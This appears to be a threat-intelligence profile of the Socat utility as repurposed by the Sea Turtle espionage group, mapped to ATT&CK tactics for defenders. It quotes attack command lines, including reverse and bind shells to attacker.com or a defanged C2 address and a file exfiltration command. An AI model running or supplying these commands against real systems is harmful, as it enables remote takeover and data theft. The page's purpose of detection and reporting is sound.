SOCAT
- Capabilities
- Post exploitation
- Platforms
- Linux
Socat is a legitimate networking utility that has been repurposed for command-and-control communications by Sea Turtle, an espionage threat actor also known as SILICON, Teal Kurma, Marbled Dust, and Cosmic Wolf. A modified Socat utility was associated with the actor’s operations against compromised Linux hosting infrastructure. In a 2023 campaign against an organization in the Netherlands, Sea Turtle accessed a cPanel environment over SSH using legitimate credentials and used Socat-related tooling to establish command-and-control channels. Socat is distinct from SnappyTCP, the Linux/Unix reverse shell deployed in the same campaign; the campaign’s information collection and anti-forensic activities are not established as capabilities of the modified Socat utility.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
A modified version of the tool Socat used by Sea Turtle to setup a command-and-control channel.
Techniques & procedures
19 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
Sea Turtle dropped an information-gathering Linux reverse TCP shell called "SnappyTCP"; the advisory also identifies a modified version of Socat used for command and control.
Execution
3 techniques
Execution
“The following analytic detects the execution of the socat utility with command-line arguments that configure a TCP or OpenSSL listener and bind an executable to incoming connections.”
Windows : 'cmd.exe',pipes ... In short, this command provides a reverse shell on the system to the attacker through socat.
"socat OPENSSL-LISTEN:443,cert=shell.pem,verify=0,fork EXEC:/bin/bash"
Privilege Escalation
2 techniques
Privilege Escalation
"This function is performed by the privileged user if the executable has the SUID bit set ... because the effective privileges are not dropped."
"This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped."
Credential Access
1 technique
Credential Access
"I decided to relay the authentication to the SMB service of the ADCS server... no signing enabled, and dumped the local SAM database"
Lateral Movement
1 technique
Lateral Movement
Once attackers achieve execution, they must move their toolkit across the environment. Several native protocols were validated for tool transfer (T1570).
Collection
1 technique
Collection
"I decided to relay the authentication to the SMB service of the ADCS server... no signing enabled, and dumped the local SAM database"
Command and Control
9 techniques
Command and Control
Sea Turtle... exfiltrated a copy of the email archive... through a command-and-control (C2) channel using TCP and HTTP.
"socat TCP-LISTEN:8080,fork TCP:target-machine:80" ... "creates a bridge between port 8080 on your machine and port 80 on the target."
One Python script created multiple Windows portproxy rules and opened a matching firewall rule; a companion shell script started attacker-side socat listeners.
Examples include "socat tcp-listen:12345 ... exec:/bin/sh" and "socat tcp-connect:attacker.com:12345 exec:/bin/sh".
The content shows transferring data with "socat -u file:/path/to/input-file tcp-connect:attacker.com:12345" and receiving it with netcat or socat listeners.
On receipt of this command, socat runs with following command line: "socat OPENSSL:193[.]218[.]118[.]190:4442,verify=0 EXEC:{OS Command}"
“Socat is a legitimate network utility, but this behavior may be used to expose executables, establish bind shells, facilitate remote command execution, or support lateral movement.”
Similar to other attacks... the importance of continuous SSL inspection... prevent initial compromise as well as communication back to C&C servers... "socat OPENSSL:193[.]218[.]118[.]190:4442,verify=0"
"They particularly valued its ability to create encrypted tunnels" and "The tool’s ability to create encrypted command and control channels made it significantly harder for defenders to identify and block the malicious traffic."
Exfiltration
2 techniques
Exfiltration
"Socat excels at creating covert channels for data exfiltration" and "transfer files over an encrypted channel."
Sea Turtle... exfiltrated a copy of the email archive created in the public web directory of the website through a command-and-control (C2) channel using TCP and HTTP.
Observables
1 indicator attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.